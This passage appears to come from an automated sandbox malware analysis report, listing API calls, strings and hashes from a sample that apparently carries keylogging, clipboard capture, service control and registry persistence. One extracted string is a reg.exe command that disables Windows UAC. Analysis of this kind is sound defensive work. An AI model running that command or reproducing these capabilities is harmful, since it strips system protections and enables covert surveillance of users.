                                                    • SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                    • SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                    • _abort.LIBCMT ref: 00446F3D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$_free$_abort
                                                    • String ID:
                                                    • API String ID: 3160817290-0
                                                    • Opcode ID: c8da7f0c6bc53abe63124bd11b18efa7ba6299d8fddab580282761fd2749e6ad
                                                    • Instruction ID: 3d2b287d931d31d162837175e2379b90ae0e47a7897f975c134f35b9cb22fcab
                                                    • Opcode Fuzzy Hash: c8da7f0c6bc53abe63124bd11b18efa7ba6299d8fddab580282761fd2749e6ad
                                                    • Instruction Fuzzy Hash: 2AF0F93560870177F6226339BD45A6F16559BC37A6F36003FF414A2293EE2D8C46451F
                                                    Function 02517126 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                    • _free.LIBCMT ref: 0251715D
                                                    • _free.LIBCMT ref: 02517185
                                                    • SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 02517192
                                                    • SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                    • _abort.LIBCMT ref: 025171A4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$_free$_abort
                                                    • String ID:
                                                    • API String ID: 3160817290-0
                                                    • Opcode ID: c8da7f0c6bc53abe63124bd11b18efa7ba6299d8fddab580282761fd2749e6ad
                                                    • Instruction ID: 74c3a98df6b797863d42243c390d2c63bac393a01cc55ff65db0d7562b895897
                                                    • Opcode Fuzzy Hash: c8da7f0c6bc53abe63124bd11b18efa7ba6299d8fddab580282761fd2749e6ad
                                                    • Instruction Fuzzy Hash: 63F0A43518471266F712333CAC08F2E6A6ABBC57A2F250528F968D2294EF218882891D
                                                    Function 00419C20 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C2F
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C43
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C50
                                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C5F
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C71
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C74
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                    • String ID:
                                                    • API String ID: 221034970-0
                                                    • Opcode ID: b7b71ddbdcb9800aa748b97a69a48af82292e20b181655901ef109c96cd029b9
                                                    • Instruction ID: e05d85410d15b39c35b215a1997cf582e970b4d0c8f2e3caff6268b58306b2a8
                                                    • Opcode Fuzzy Hash: b7b71ddbdcb9800aa748b97a69a48af82292e20b181655901ef109c96cd029b9
                                                    • Instruction Fuzzy Hash: F2F0F6325003147BD3116B25EC89EFF3BACDB45BA1F000036F902921D2DB68CD4685F5
                                                    Function 00419D22 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D31
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D45
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D52
                                                    • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D61
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D73
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D76
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                    • String ID:
                                                    • API String ID: 221034970-0
                                                    • Opcode ID: e9ecc3ae41f79f47d3bdca3e192fe5417343a180787152718365ee8199a3ebfc
                                                    • Instruction ID: 9e91e616c68215657d038be5823d6e3897a30bcf6e0764f9fcdf2292ad9a2404
                                                    • Opcode Fuzzy Hash: e9ecc3ae41f79f47d3bdca3e192fe5417343a180787152718365ee8199a3ebfc
                                                    • Instruction Fuzzy Hash: C5F062725003146BD2116B65EC89EBF3BACDB45BA5B00003AFA06A21D2DB68DD4696F9
                                                    Function 00419D87 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419D96
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DAA
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DB7
                                                    • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DC6
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DD8
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DDB
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                    • String ID:
                                                    • API String ID: 221034970-0
                                                    • Opcode ID: 578fdff71443f11c3fca357d736e88dc82f16117349863ef7b695c473245d396
                                                    • Instruction ID: abda6543b9bae7672c93be1b0f3a8a56711a85df89096aceaf06b6c73a90a6e4
                                                    • Opcode Fuzzy Hash: 578fdff71443f11c3fca357d736e88dc82f16117349863ef7b695c473245d396
                                                    • Instruction Fuzzy Hash: C2F0C2325002146BD2116B24FC49EBF3AACDB45BA1B04003AFA06A21D2DB28CE4685F8
                                                    Function 004129AA Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 173registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412A1D
                                                    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000,?,?,?,?), ref: 00412A4C
                                                    • RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,?,?,00002710,?,?,?,00000000,?,?,?,?), ref: 00412AED
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Enum$InfoQueryValue
                                                    • String ID: [regsplt]$DG
                                                    • API String ID: 3554306468-1089238109
                                                    • Opcode ID: 420c64221c8be20a0884beaa9dc5826c3a8ed3ed3fba4086070cd80455fd0dc1
                                                    • Instruction ID: 09469598a034e88a10af8fecb22bb8a395a4bc85e225d04bcc93034602455e52
                                                    • Opcode Fuzzy Hash: 420c64221c8be20a0884beaa9dc5826c3a8ed3ed3fba4086070cd80455fd0dc1
                                                    • Instruction Fuzzy Hash: D8512E72108345AFD310EB61D995DEFB7ECEF84744F00493EB585D2191EB74EA088B6A
                                                    Function 024DC8D4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 147COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024E1900: TerminateProcess.KERNEL32(00000000,?,024DC8E4), ref: 024E1910
                                                      • Part of subcall function 024E1900: WaitForSingleObject.KERNEL32(000000FF,?,024DC8E4), ref: 024E1923
                                                      • Part of subcall function 024E28C4: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 024E28E0
                                                      • Part of subcall function 024E28C4: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 024E28F9
                                                      • Part of subcall function 024E28C4: RegCloseKey.ADVAPI32(?), ref: 024E2904
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 024DC92E
                                                    • ShellExecuteW.SHELL32(00000000,0046559C,00000000,00465900,00465900,00000000), ref: 024DCA8D
                                                    • ExitProcess.KERNEL32 ref: 024DCA99
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                    • String ID: @CG$exepath
                                                    • API String ID: 1913171305-1253070338
                                                    • Opcode ID: 7fefd4fcae7e0ef6d55ce9d204f1d3822a483be89a92adb2579d4a357fc0ee6e
                                                    • Instruction ID: 4d551b67e0a7d9582e3c6ccb51ea170be7658195986fe2ffe10f42f5dc41ed3e
                                                    • Opcode Fuzzy Hash: 7fefd4fcae7e0ef6d55ce9d204f1d3822a483be89a92adb2579d4a357fc0ee6e
                                                    • Instruction Fuzzy Hash: 8F4184329001185ADB15FB61DC70EFE777BAF50701F5001AFE906A3196EFA05E86CE95
                                                    Function 024E409E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 024E40ED
                                                    • LoadLibraryA.KERNEL32(?), ref: 024E412F
                                                    • LoadLibraryA.KERNEL32(?), ref: 024E418E
                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 024E41B6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LibraryLoad$AddressDirectoryProcSystem
                                                    • String ID: g<A
                                                    • API String ID: 4217395396-3237022798
                                                    • Opcode ID: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                    • Instruction ID: 9d796c2308805e6bf33e1e5cfe6213224d9d482250d9db2a12bc5b0a4ab23aea
                                                    • Opcode Fuzzy Hash: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                    • Instruction Fuzzy Hash: 7531FAB19053156BEB21EB24DC48E9FB7DCEF44795F040A26F885E3240E774D6418BEA
                                                    Function 0040AE58 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 87COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00433519: RtlEnterCriticalSection.KERNEL32(00470D18,00475B70,00475BF0,?,0040179E,00475BF0), ref: 00433524
                                                      • Part of subcall function 00433519: RtlLeaveCriticalSection.KERNEL32(00470D18,?,0040179E,00475BF0), ref: 00433561
                                                      • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                    • __Init_thread_footer.LIBCMT ref: 0040AEA7
                                                      • Part of subcall function 004334CF: RtlEnterCriticalSection.KERNEL32(00470D18,00475BF0,?,004017C1,00475BF0,00000000), ref: 004334D9
                                                      • Part of subcall function 004334CF: RtlLeaveCriticalSection.KERNEL32(00470D18,?,004017C1,00475BF0,00000000), ref: 0043350C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit
                                                    • String ID: [End of clipboard]$[Text copied to clipboard]$,]G$0]G
                                                    • API String ID: 2974294136-753205382
                                                    • Opcode ID: de3fba35412e8d9275b285bd9e157dc8c129506901d01536abad46e7e0bd6fc8
                                                    • Instruction ID: 172b4b58ae75f988d3b3a293bba3f35c56e57800f0e036023c2a0486d145437f
                                                    • Opcode Fuzzy Hash: de3fba35412e8d9275b285bd9e157dc8c129506901d01536abad46e7e0bd6fc8
                                                    • Instruction Fuzzy Hash: 44219F31A002099ACB14FB75D8929EE7774AF54318F50403FF406771E2EF386E4A8A8D
                                                    Function 0040A876 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 67timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                    • wsprintfW.USER32 ref: 0040A905
                                                      • Part of subcall function 00409D58: SetEvent.KERNEL32(00000000,?,00000000,0040A91C,00000000), ref: 00409D84
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: EventLocalTimewsprintf
                                                    • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                                                    • API String ID: 1497725170-248792730
                                                    • Opcode ID: d47f6fbfcddc5f950be7bc6af301cd0dd5aecde9aff08f33bdbb9e4de45e3f1a
                                                    • Instruction ID: 8a7b6ca92c081f7f17d03b5bac770d689c192d548357e869dbc211d44db93d1d
                                                    • Opcode Fuzzy Hash: d47f6fbfcddc5f950be7bc6af301cd0dd5aecde9aff08f33bdbb9e4de45e3f1a
                                                    • Instruction Fuzzy Hash: BB118172400118AACB18BB56EC55CFE77BCAE48325F00013FF842620D1EF7C5A86C6E9
                                                    Function 00409D97 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00409E6F), ref: 00409DCD
                                                    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                    • Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                    • CloseHandle.KERNEL32(00000000,?,?,?,00409E6F), ref: 00409E10
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateHandleSizeSleep
                                                    • String ID: `AG
                                                    • API String ID: 1958988193-3058481221
                                                    • Opcode ID: d7248f5b3272c1b8e158f3ed59b8642bc51f6090f2ebac6ec2a2f06e31ed32df
                                                    • Instruction ID: 61dc848fc85204ea7fc5a67171cad01df1347b3512dd41eabc6ad436608203b4
                                                    • Opcode Fuzzy Hash: d7248f5b3272c1b8e158f3ed59b8642bc51f6090f2ebac6ec2a2f06e31ed32df
                                                    • Instruction Fuzzy Hash: 3A11C4303407406AE731E764E88962B7A9AAB91311F44057EF18562AE3D7389CD1829D
                                                    Function 024D9FFE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,024DA0D6), ref: 024DA034
                                                    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,024DA0D6), ref: 024DA043
                                                    • Sleep.KERNEL32(00002710,?,?,?,024DA0D6), ref: 024DA070
                                                    • CloseHandle.KERNEL32(00000000,?,?,?,024DA0D6), ref: 024DA077
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateHandleSizeSleep
                                                    • String ID: `AG
                                                    • API String ID: 1958988193-3058481221
                                                    • Opcode ID: d7248f5b3272c1b8e158f3ed59b8642bc51f6090f2ebac6ec2a2f06e31ed32df
                                                    • Instruction ID: f348cde005c8666e89a58dd2885e88b78682ba94fd7cf899cd8d01c2ae22dd60
                                                    • Opcode Fuzzy Hash: d7248f5b3272c1b8e158f3ed59b8642bc51f6090f2ebac6ec2a2f06e31ed32df
                                                    • Instruction Fuzzy Hash: 7E110D303047506AD732BF6499ACA3F3B96A78A315F84052EF18542692C76198C4CB59
                                                    Function 0041CA1F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegisterClassExA.USER32(00000030), ref: 0041CA6C
                                                    • CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041CA87
                                                    • GetLastError.KERNEL32 ref: 0041CA91
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ClassCreateErrorLastRegisterWindow
                                                    • String ID: 0$MsgWindowClass
                                                    • API String ID: 2877667751-2410386613
                                                    • Opcode ID: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                    • Instruction ID: bff961279ea7560c1ff94ea7b7e8445e3758215821d07408c43b005d8adda241
                                                    • Opcode Fuzzy Hash: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                    • Instruction Fuzzy Hash: 2D01E9B1D1431EAB8B01DFE9DCC4AEFBBBDBE49255B50452AE410B2200E7704A448BA5
                                                    Function 024ECC86 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegisterClassExA.USER32(00000030), ref: 024ECCD3
                                                    • CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 024ECCEE
                                                    • GetLastError.KERNEL32 ref: 024ECCF8
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ClassCreateErrorLastRegisterWindow
                                                    • String ID: 0$MsgWindowClass
                                                    • API String ID: 2877667751-2410386613
                                                    • Opcode ID: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                    • Instruction ID: 438dd90cbdbc4285709ea26415508c2a3ea9e22cf35b77de7cf0725a0719a916
                                                    • Opcode Fuzzy Hash: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                    • Instruction Fuzzy Hash: C1014CB1D1431DAB9B00DFD9DCC49EFBBBDFE49255B50453AF411B2200E7704A448BA0
                                                    Function 004069BA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42processCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 00406A00
                                                    • CloseHandle.KERNEL32(?), ref: 00406A0F
                                                    • CloseHandle.KERNEL32(?), ref: 00406A14
                                                    Strings
                                                    • C:\Windows\System32\cmd.exe, xrefs: 004069FB
                                                    • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 004069F6
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseHandle$CreateProcess
                                                    • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                    • API String ID: 2922976086-4183131282
                                                    • Opcode ID: eb4121427644dbe92f0faf5bfcaaefbe4213ddeedd11a12955cf8af7f240737c
                                                    • Instruction ID: 91eee74bc7ca160cae255ad37e89f65ee2415c19472677646c1a5aeb81073604
                                                    • Opcode Fuzzy Hash: eb4121427644dbe92f0faf5bfcaaefbe4213ddeedd11a12955cf8af7f240737c
                                                    • Instruction Fuzzy Hash: 8AF030B69002A9BACB30ABD69C0EFDF7F7DEBC6B11F00042AB615A6051D6745144CAB9
                                                    Function 004425D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0044258A,?,?,0044252A,?), ref: 004425F9
                                                    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044260C
                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,0044258A,?,?,0044252A,?), ref: 0044262F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                    • String ID: CorExitProcess$mscoree.dll
                                                    • API String ID: 4061214504-1276376045
                                                    • Opcode ID: 84f8467b83475f4999ab7b265d6d7c22c059d91a263d45f4d19e228ed4a2ac86
                                                    • Instruction ID: 32bca75c9846dbfd0145c2b425e1dcbc158e0b1ec8d75d3d798e8c7ef3c4518a
                                                    • Opcode Fuzzy Hash: 84f8467b83475f4999ab7b265d6d7c22c059d91a263d45f4d19e228ed4a2ac86
                                                    • Instruction Fuzzy Hash: 14F04430904209FBDB169FA5ED09B9EBFB5EB08756F4140B9F805A2251DF749D40CA9C
                                                    Function 024E29DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegCreateKeyW.ADVAPI32(80000001,00000000,BG), ref: 024E29E6
                                                    • RegSetValueExW.ADVAPI32(BG,?,00000000,00000001,00000000,00000000,004742F8,?,024DE832,pth_unenc,004742E0), ref: 024E2A14
                                                    • RegCloseKey.ADVAPI32(?,?,024DE832,pth_unenc,004742E0), ref: 024E2A1F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateValue
                                                    • String ID: pth_unenc$BG
                                                    • API String ID: 1818849710-2233081382
                                                    • Opcode ID: f3f4d92ea395f83514c7fc898d5ccc6e166341d4c45edfed3dd661c905dadffd
                                                    • Instruction ID: 59950a983105e93a8455fcb6a95c58fb561352122ea13c93a649dfe4f98ad5e0
                                                    • Opcode Fuzzy Hash: f3f4d92ea395f83514c7fc898d5ccc6e166341d4c45edfed3dd661c905dadffd
                                                    • Instruction Fuzzy Hash: B5F06D72540218BBEF11DFA0ED65FEE37ADEB00B81F004565FA02A61A1E6B1DB04DA50
                                                    Function 00404AB1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00475B70,0040483F,00000001,?,?,00000000,00475B70,004017F3), ref: 00404AED
                                                    • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404AF9
                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00475B70,004017F3), ref: 00404B04
                                                    • CloseHandle.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404B0D
